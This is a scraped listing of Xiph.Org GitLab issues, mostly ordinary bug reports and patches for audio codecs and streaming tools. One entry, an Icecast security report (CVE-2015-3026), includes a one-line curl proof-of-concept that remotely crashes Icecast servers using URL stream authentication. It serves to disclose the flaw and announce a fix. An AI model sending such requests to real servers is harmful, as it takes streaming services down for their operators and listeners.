Xiph.Org issueshttps://gitlab.xiph.org/groups/xiph/-/issues2018-01-22T04:54:21Zhttps://gitlab.xiph.org/xiph/vorbis-tools/-/issues/1989vorbis-tools-1.4.0/share/charset.c:58: possible coding typo ?2018-01-22T04:54:21ZDavid Bindermanvorbis-tools-1.4.0/share/charset.c:58: possible coding typo ?
Static analysis tool cppcheck says
[charset.c:58] -> [charset.c:58]: (style) Same expression on both sides of '||'.
Source code is
for (;; s1++, s2++) {
if (!*s1 || !*s1)
break;
maybe
for (;; s1++, s2++) {
if (!*s...
Static analysis tool cppcheck says
[charset.c:58] -> [charset.c:58]: (style) Same expression on both sides of '||'.
Source code is
for (;; s1++, s2++) {
if (!*s1 || !*s1)
break;
maybe
for (;; s1++, s2++) {
if (!*s1 || !*s2)
break;
would be better code.
Michael SmithMichael Smithhttps://gitlab.xiph.org/xiph/icecast-ices/-/issues/1238[PATCH] Add comment in ices-playlist.xml and config.html how to not reencode2017-11-05T22:14:59ZGitlab Bot[PATCH] Add comment in ices-playlist.xml and config.html how to not reencodeIces0 had <reencode>0</reencode> but ices2 doesn't. Removing the entire <encode></encode> section does the same, but there is no mention of this in the sample config file ices-playlist.xml or in the ices2 config.html documentation. Addin...Ices0 had <reencode>0</reencode> but ices2 doesn't. Removing the entire <encode></encode> section does the same, but there is no mention of this in the sample config file ices-playlist.xml or in the ices2 config.html documentation. Adding a small comment would help users who have already a list of encoded files and don't want ices2 to reencode them on the fly.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/ogg/-/issues/634oggcodecs: Still can not play ogg files2020-11-06T03:56:13ZGitlab Botoggcodecs: Still can not play ogg filesI have dowloaded the oggcodecs_0.69.8924 but windows media player and any other player will not play ogg files. Before I ran the file I removed any other ogg files and I closed all of the open files. I am running Windows XP.I have dowloaded the oggcodecs_0.69.8924 but windows media player and any other player will not play ogg files. Before I ran the file I removed any other ogg files and I closed all of the open files. I am running Windows XP.Gitlab BotGitlab Bothttps://gitlab.xiph.org/xiph/opus/-/issues/2027multistream_encode(_float) fails on hard cbr encodes in libopus v1.12017-10-21T19:37:05Zthinktinkmultistream_encode(_float) fails on hard cbr encodes in libopus v1.1Using either an uncoupled stereo signal or any other singal type that lends itself to utilizing the multistream APIs, when setting the bitrate to Auto (-1000) or Max (-1) by the multistream_ctl function or by setting a very low bitrate, ...Using either an uncoupled stereo signal or any other singal type that lends itself to utilizing the multistream APIs, when setting the bitrate to Auto (-1000) or Max (-1) by the multistream_ctl function or by setting a very low bitrate, relative to the number of channels. This error only happens with libopus v1.1 but not any version before, including libopus v1.1-beta. This can be replicated with the opus tools 0.1.8-win32 encoder with the following example commands:
```
C:\opus-tools-0.1.8-win32>opusenc --set-ctl-int 4002=-1000 --hard-cbr Quadraphonic.wav Quadraphonic.opus
Encoding using libopus 1.1 (audio)
-----------------------------------------------------
Input: 48kHz 4 channels
Output: 4 channels (4 coupled)
20ms packets, 192kbit/sec CBR
Preskip: 312
Encoding failed: invalid argument. Aborting.
Encoding complete
-----------------------------------------------------
Encoded:
Runtime: 1e-006 seconds
(0x realtime)
Wrote: 847 bytes, 1 packets, 2 pages
Bitrate: -1.#INDkbit/s (without overhead)
Instant rates: 3065.6kbit/s to 0kbit/s
(7664 to 0 bytes per packet)
Overhead: 100% (container+metadata)
C:\opus-tools-0.1.8-win32>opusenc --set-ctl-int 4002=-1 --hard-cbr Quadraphonic.wav Quadraphonic.opus
Encoding using libopus 1.1 (audio)
-----------------------------------------------------
Input: 48kHz 4 channels
Output: 4 channels (4 coupled)
20ms packets, 192kbit/sec CBR
Preskip: 312
Encoding failed: invalid argument. Aborting.
Encoding complete
-----------------------------------------------------
Encoded:
Runtime: 1e-006 seconds
(0x realtime)
Wrote: 847 bytes, 1 packets, 2 pages
Bitrate: -1.#INDkbit/s (without overhead)
Instant rates: 3065.6kbit/s to 0kbit/s
(7664 to 0 bytes per packet)
Overhead: 100% (container+metadata)
C:\opus-tools-0.1.8-win32>opusenc --set-ctl-int 4002=1599 --hard-cbr Quadraphonic.wav Quadraphonic.opus
Encoding using libopus 1.1 (audio)
-----------------------------------------------------
Input: 48kHz 4 channels
Output: 4 channels (4 coupled)
20ms packets, 192kbit/sec CBR
Preskip: 312
Encoding failed: invalid argument. Aborting.
Encoding complete
-----------------------------------------------------
Encoded:
Runtime: 1e-006 seconds
(0x realtime)
Wrote: 847 bytes, 1 packets, 2 pages
Bitrate: -1.#INDkbit/s (without overhead)
Instant rates: 3065.6kbit/s to 0kbit/s
(7664 to 0 bytes per packet)
Overhead: 100% (container+metadata)
C:\opus-tools-0.1.8-win32>
```
The above commands do not show encoding errors with previous versions of the tools.
Attached quadraphonic sample audio file for testing.Jean-Marc ValinJean-Marc Valinhttps://gitlab.xiph.org/xiph/theora/-/issues/1081Add user-lockable frame memory to theora2017-08-20T01:57:18ZGitlab BotAdd user-lockable frame memory to theora
## SUMMARY
Currently it is not generally possible to display ('play') theora content without
copying decoded frames at least twice - once from libtheora memory to user memory, and once from user memory to display memory.
This proposal...
## SUMMARY
Currently it is not generally possible to display ('play') theora content without
copying decoded frames at least twice - once from libtheora memory to user memory, and once from user memory to display memory.
This proposal suggests the addition of two API calls that add the concept of a "shared" buffer, allocated and freed by the user but lockable by libtheora. With such a buffer, one of these copies can be eliminated.
## THE PROBLEM
libtheora provides decoded frames in memory allocated and owned by libtheora (through the theora_yuv_out function call). libtheora does not guarantee that this memory is valid following subsequent theora_packet_in calls. Hence, the player application must either copy the decoded frame directly to the screen, or copy it to a buffer for later display.
However, it is undesirable to copy the frame directly to the screen, as this will lead either to unpredictable display times or an inefficient use of available time (the player must either display the frame as soon as it is ready or wait until the display time of the frame arrives). Hence, players must in general incur the cost of copying the frame to a temporary buffer owned by the player application.
## THREE PROPOSED SOLUTIONS
(1) One solution would be to add a single API call to libtheora:
```
theora_unlock_yuv_buffer(theora *, buffer *)
```
libtheora would then avoid freeing frames that have not been explicitly unlocked by the user. This approach has disadvantages:
* the behaviour of the library changes (legacy applications will stop working due to memory leaks)
* an additional function call per frame is required for normal operation of the library
(2) These disadvantages can be mitigated by requiring the user to lock buffers
first:
```
theora_lock_yuv_buffer(theora_state *, yuv_buffer *)
theora_unlock_yuv_buffer(theora_state *, yuv_buffer *)
```
libtheora would exhibit the same behaviour in the absence of these functions being
called, but would not free frames that have been locked by the user until subsequently unlocked.
(3) Another approach is to allow user-allocation of buffers:
```
theora_user_yuv_out(theora_state *, yuv_buffer *)
int theora_user_buffer_is_freeable(theora_state *, yuv_buffer *)
```
In this case, the user can provide user-allocated memory into which theora decodes the frame, and theora can indicate that a user-allocated frame should not be freed (for example, if the frame is a reference frame). Normal operation of the library is unchanged.
This approach has the additional advantage that the user can tailor memory use to the application and environment - restricted-memory embedded systems can avoid malloc and free, while directX-based systems can provide memory already allocated as a directX texture.
## RECOMMENDATION
Given that this problem exists, and is fixable with minimal API modification and no perceived change for existing applications, I would suggest that we consider fixing it. I currently favour approach 3, as it is more flexible, however this approach also means more work for the application designer that wishes to use the new feature.
https://gitlab.xiph.org/xiph/xiph-qt/-/issues/1302doesn't work2018-04-29T09:16:10ZGitlab Botdoesn't workWikipedia should not use require this plug in for sound files. Why can't they play on quicktime (without this nonfunctional plugin, like everyone else? It did not install. I tried opening it in quicktime, but it said quicktime can't open...Wikipedia should not use require this plug in for sound files. Why can't they play on quicktime (without this nonfunctional plugin, like everyone else? It did not install. I tried opening it in quicktime, but it said quicktime can't open it because it's not a movie.
One very consistent experience I have had since I began using the Internet in 1995 is that any plug-in I have to find, download and install (as opposed to automatically appearing in my browser), is a failure. Xiph is just like the others.
Too bad. I will not be able to play sound files on Wikipedia until it makes them so I can play them on quicktime or windows media player.Arek KorbikArek Korbikhttps://gitlab.xiph.org/xiph/ezstream/-/issues/1223URL support for ezstream2017-08-03T06:12:53Zbrandon.casciURL support for ezstreamIt would be wonderful if ezstream could work with audio files from a url, remote or local, in addition to local files. This way you could stream files from anyplace, like a remote file store with http access.
It would be wonderful if ezstream could work with audio files from a url, remote or local, in addition to local files. This way you could stream files from anyplace, like a remote file store with http access.
Moritz GrimmMoritz Grimmhttps://gitlab.xiph.org/xiph/libao/-/issues/1844Mac OS X 10.7.2 Build 11C74 - Loss of audio when inserting or removing device...2017-11-03T10:00:01ZlordB8rMac OS X 10.7.2 Build 11C74 - Loss of audio when inserting or removing device from audio jackIdentical to issue #1731 (closed), but I'm up to date on libao:
Initiating pianobar while using the macbook's built in speakers, then plugging headphones into or unplugging from the headphone jack results in complete loss of sound from ...Identical to issue #1731 (closed), but I'm up to date on libao:
Initiating pianobar while using the macbook's built in speakers, then plugging headphones into or unplugging from the headphone jack results in complete loss of sound from pianobar. The app needs to be restarted to restore sound.Monty MontgomeryMonty Montgomeryhttps://gitlab.xiph.org/xiph/icecast-libshout/-/issues/945Changes are necessary to make libshout compilable under Win32 with the MS C/C...2017-11-16T12:06:14Znathan.interludeChanges are necessary to make libshout compilable under Win32 with the MS C/C++ compilerI have changed the sources to compile under Win32 with no errors, but don't have write access to svn, hence this ticket. The necessary changes:
* sock.h, line 34: reference to <compat.h> needs to be changed to #include "os.h"
* shout.c, ...I have changed the sources to compile under Win32 with no errors, but don't have write access to svn, hence this ticket. The necessary changes:
* sock.h, line 34: reference to <compat.h> needs to be changed to #include "os.h"
* shout.c, line 1016: the MS compiler views a void pointer as a pointer with no size information associated with it, so addition operationg are not supported. The line should be changed to :
ret = sock_write_bytes (self->socket, (void*)((char*)data + pos), len - pos);
* theora.c and vorbis.c should be included in the project file. This can be done either through the environment or manually with a text editor. Just add the following lines to libshout.dsp:
# Begin Source File
SOURCE=..\src\vorbis.c
# End Source File
# Begin Source File
SOURCE=..\src\theora.c
# End Source File
I don't know if that blank line is strictly necessary, but that's the way the other sources were included, so I stuck with that convention.
* The following lines need to be moved from sock.c to os.h:
#define vsnprintf _vsnprintf
#ifndef __MINGW32__
#define va_copy(ap1, ap2) memcpy(&ap1, &ap2, sizeof(va_list))
#endif
It actually won't hurt anything if they are left in sock.c, but they aren't necessary there. Michael SmithMichael Smithhttps://gitlab.xiph.org/xiph/oggdsf/-/issues/1491oggcodecs doesn't work with 6-channel FLACs2018-04-29T07:18:11Zevetsnamelocoggcodecs doesn't work with 6-channel FLACsAs above --- 6-channel FLAC's encoded from 6-channel wav's crash WMP with oggcodecs, both the 32bit and 64bit versions. madFLAC 1.8 will play them but the seek bar won't work. I can send you a 6-channel FLAC if this will help.As above --- 6-channel FLAC's encoded from 6-channel wav's crash WMP with oggcodecs, both the 32bit and 64bit versions. madFLAC 1.8 will play them but the seek bar won't work. I can send you a 6-channel FLAC if this will help.Cristian AdamCristian Adamhttps://gitlab.xiph.org/xiph/positron/-/issues/394'sync' doesn't actually 'sync'2017-08-03T06:41:39Zdberger'sync' doesn't actually 'sync'```
I did some reorganization of my PC-side music archive and expected positron to
"figure it out" during a sync. It didn't - and it forced me to rebuild the
database (which in and of itself isn't bad, but takes a while).
Specifically,...```
I did some reorganization of my PC-side music archive and expected positron to
"figure it out" during a sync. It didn't - and it forced me to rebuild the
database (which in and of itself isn't bad, but takes a while).
Specifically, I had ripped two albums by the same artist which had different
attributions in the CDDB and therefor ended up in two different directories on
the PC:
tom petty/full moon fever
tom petty & the heartbreakers/greatest hits
Once I noticed this, I moved "full moon fever" to live under "tom petty & the
heartbreakers", updated the tags on the ogg files, and did a % positron sync
I ended up with the tracks duplicated on disk as well as in the database. I
tried doing a positron del of the ones I didn't want as: # positron del "tom
petty" and ran (again) into bug 385.
So it seems that sync should check for files that have been removed on the PC
side and remove them (and their database entries) from the neuros *before*
adding the database entries for newly copied files. Further, it makes sense to
remove such files before copying new files to increase the chances that there's
enough space on the device during copy.
```Stan SeibertStan Seiberthttps://gitlab.xiph.org/xiph/speex/-/issues/399No way to get max compressed size for a frame for a given mode2018-01-21T13:05:27ZsnicolaiNo way to get max compressed size for a frame for a given mode```
The following code:
speex_mode_query(&speex_wb_mode, SPEEX_MODE_FRAME_SIZE, &size);
can be used to get the number of samples in a frame, but there is no way to get the max number
of bytes that will compress down to.
speex_mode_qu...```
The following code:
speex_mode_query(&speex_wb_mode, SPEEX_MODE_FRAME_SIZE, &size);
can be used to get the number of samples in a frame, but there is no way to get the max number
of bytes that will compress down to.
speex_mode_query(&speex_wb_mode, SPEEX_SUBMODE_BITS_PER_FRAME, &bits)
seems close to what I want, but I really don't want to have to know what submode I will be using, I
want to deal in quality instead (or just ignore that issue and get the max value for ANY submode.)
Also the wideband version of this function seems to only return the number of bits above and
beyond what the narrowband would use.
So to properly size my buffers, right now I have hardcoded constants rather than getting the values
from Speex.
```Jean-Marc ValinJean-Marc Valinhttps://gitlab.xiph.org/xiph/icecast-website/-/issues/673Online human language guide execution error2017-08-26T22:33:52ZclockOnline human language guide execution errorIn http://icecast.org/docs/icecast-2.1.0/icecast2_basicsetup.html at
"Most of the default values are fine as provided, and for a basic setup the following entries should be changed :
[...] <webroot> - any static content can be placed her...In http://icecast.org/docs/icecast-2.1.0/icecast2_basicsetup.html at
"Most of the default values are fine as provided, and for a basic setup the following entries should be changed :
[...] <webroot> - any static content can be placed here (file serving root)"
It's not clear what the value webroot should be changed to.Gitlab BotGitlab Bothttps://gitlab.xiph.org/xiph/Infrastructure/-/issues/40Missing images causing 404s2018-05-14T02:24:00ZPaulMissing images causing 404s```
There are three images that are missing that are loaded on the lists pages. The
images have the URLs:
http://lists.xiph.org/images/mailman/mailman.jpg
http://lists.xiph.org/images/mailman/PythonPowered.png
http://lists.xiph.org/imag...```
There are three images that are missing that are loaded on the lists pages. The
images have the URLs:
http://lists.xiph.org/images/mailman/mailman.jpg
http://lists.xiph.org/images/mailman/PythonPowered.png
http://lists.xiph.org/images/mailman/gnu-head-tiny.jpg
These are causing 404 errors that are cluttering up the server logs making it
more difficult to track down actual missing pages. If someone would put any
png/jpg in those locations, that would fix the issue. Even a 1x1 blank image.
```https://gitlab.xiph.org/xiph/icecast-server/-/issues/2191Icecast can be crashed remotely if stream_auth is enabled.2018-04-16T22:12:13ZThomas B. RückerIcecast can be crashed remotely if stream_auth is enabled.Downstream bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=782120
Icecast can be killed by anyone with a simple HTTP request when
<authentication type="url"> is used and a stream_auth handler is
defined.
Example configura...Downstream bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=782120
Icecast can be killed by anyone with a simple HTTP request when
<authentication type="url"> is used and a stream_auth handler is
defined.
Example configuration:
```
<mount>
<mount-name>/test.ogg</mount-name>
<authentication type="url">
<option name="stream_auth" value="http://localhost/auth"/>
</authentication>
</mount>
```
Proof of concept exploit:
```
curl "http://stream.example.org:8000/admin/killsource?mount=/test.ogg"
```
This happens if no logon credentials are sent with the request. The crash happens regardless of a source client being connected to the vulnerable mountpoint.
This will be released in a security release 2.4.2 today.
CVE-2015-3026Icecast 2.4.2Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2259[PATCH] Master-Slave Aggregating Relay (multiple master setup)2017-10-05T10:40:40ZMarvin Scholz[PATCH] Master-Slave Aggregating Relay (multiple master setup)We got a pull-request on Github by [greenbender](https://github.com/greenbender):
> This pull request adds support for multiple Master-Slave relays. Something I am calling a Master-Slave Aggregating Relay.
>
> A couple of people have a...We got a pull-request on Github by [greenbender](https://github.com/greenbender):
> This pull request adds support for multiple Master-Slave relays. Something I am calling a Master-Slave Aggregating Relay.
>
> A couple of people have asked for this feature in the past and were referred to the Single-Broadcast Relay, which is OK provided you know the specific mountpoints that you want to relay ahead of time.
>
> If you are in a position where you want to relay mountpoints for more than one the master server, and one or more of the master servers adds and removes mountpoints dynamically or if you are unable to know what mountpoints are available ahead of time then this gives you the ability to aggregate all mountpoints for any numbers of master servers.
>
> Namespacing is also supported to prevent name clashes for mountpoints being relayed from different servers.
The patch can be found here:
```
https://github.com/xiph/Icecast-Server/pull/5.patch
```
For more information, see the [original Github Pull-Request](https://github.com/xiph/Icecast-Server/pull/5)!Icecast 2.5.2Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/vorbis/-/issues/1819libvorbis using undocumented optimization option "-O20" makes clang build fail2017-11-01T04:49:44ZRuben Van Boxemlibvorbis using undocumented optimization option "-O20" makes clang build failThe optimization option "-O20" is
1. Undocumented,
2. Useless, because it just equals -O3
3. Harmfull, because Clang (clang.llvm.org) doesn't recognize it.
It would be a very small change to patch the "-O20" to "-O3" with no change in ...The optimization option "-O20" is
1. Undocumented,
2. Useless, because it just equals -O3
3. Harmfull, because Clang (clang.llvm.org) doesn't recognize it.
It would be a very small change to patch the "-O20" to "-O3" with no change in the resulting build. It would remove undocumented behavior and allow Clang to build libvorbis (with all tests passed).
Thanks!Monty MontgomeryMonty Montgomeryhttps://gitlab.xiph.org/xiph/vorbis-tools/-/issues/1473oggenc: ../../oggenc/resample.c:140: res_init: Assertion `infreq > 0' failed.2018-01-22T04:18:26Zjpoggenc: ../../oggenc/resample.c:140: res_init: Assertion `infreq > 0' failed.Using OggEnc v1.0.2
Executed oggenc -b192 --resample 44100 -q5 -o/tmp/dvdrip493a5ec07f275/title_1_audio_2.ogg /tmp/dvdrip493a5ec07f275/title_1_audio_2.wav
Gave the following
Opening with wav module: WAV file reader
oggenc: ../../oggen...Using OggEnc v1.0.2
Executed oggenc -b192 --resample 44100 -q5 -o/tmp/dvdrip493a5ec07f275/title_1_audio_2.ogg /tmp/dvdrip493a5ec07f275/title_1_audio_2.wav
Gave the following
Opening with wav module: WAV file reader
oggenc: ../../oggenc/resample.c:140: res_init: Assertion `infreq > 0' failed.
Aborted
Michael SmithMichael Smithhttps://gitlab.xiph.org/xiph/vorbis-tools/-/issues/1988ogg123 doesn't play flac files with ID3 tags, no useful error given2018-01-22T04:18:26Zmyxalogg123 doesn't play flac files with ID3 tags, no useful error givenHi.
I'm the reporter of ubuntu bug 1250618: https://bugs.launchpad.net/ubuntu/+source/vorbis-tools/+bug/1250618
I've since gone through the FLAC FAQs on the main site, noticing that files with id3 tags are unsupported, and users should n...Hi.
I'm the reporter of ubuntu bug 1250618: https://bugs.launchpad.net/ubuntu/+source/vorbis-tools/+bug/1250618
I've since gone through the FLAC FAQs on the main site, noticing that files with id3 tags are unsupported, and users should not expext these to work.
I'd like to disagree with this and voice my concern that such a semi-common file format is not supported. I can understand not supporting a different format of tagging, but (I think) this should not interfere with playback itself. If playback of these files is not possible with the tags, then at least a more informative error message would be welcome. I took me quite a while to even figure out what the problem was, as the "flac" program showed no error or warning on testing or analyzing the file, and other programs (mplayer, VLC...) had no issue with the files in the first place.Michael SmithMichael Smithhttps://gitlab.xiph.org/xiph/icecast-ices/-/issues/1231ices0 won't build with flac, unless libfaad2-dev is installed2017-11-05T22:14:59Zrdvdijkices0 won't build with flac, unless libfaad2-dev is installedI downloaded the latest ices0.4 and tried to configure it with FLAC support. This would give me the error:
"Could not find libFLAC, FLAC transcoding disabled"
I had all possible FLAC libs installed, so that couldn't be the problem. N...I downloaded the latest ices0.4 and tried to configure it with FLAC support. This would give me the error:
"Could not find libFLAC, FLAC transcoding disabled"
I had all possible FLAC libs installed, so that couldn't be the problem. No matter where I pointed the config using the --with-flac option, it wouldn't work.
Here's the bug: then I installed libfaad2-dev to try faad support. This apparently didn't work either:
"checking for faad.h... yes"
"checking for MP4Read in -lmp4v2... no"
"Could not find libfaad, MP4 transcoding disabled"
But the weird thing is that now FLAC does work..
"checking for FLAC_stream_decoder_new in -lFLAC... yes"
A minor bug in the configure script, I think?
Good luck,
Roel
Michael SmithMichael Smith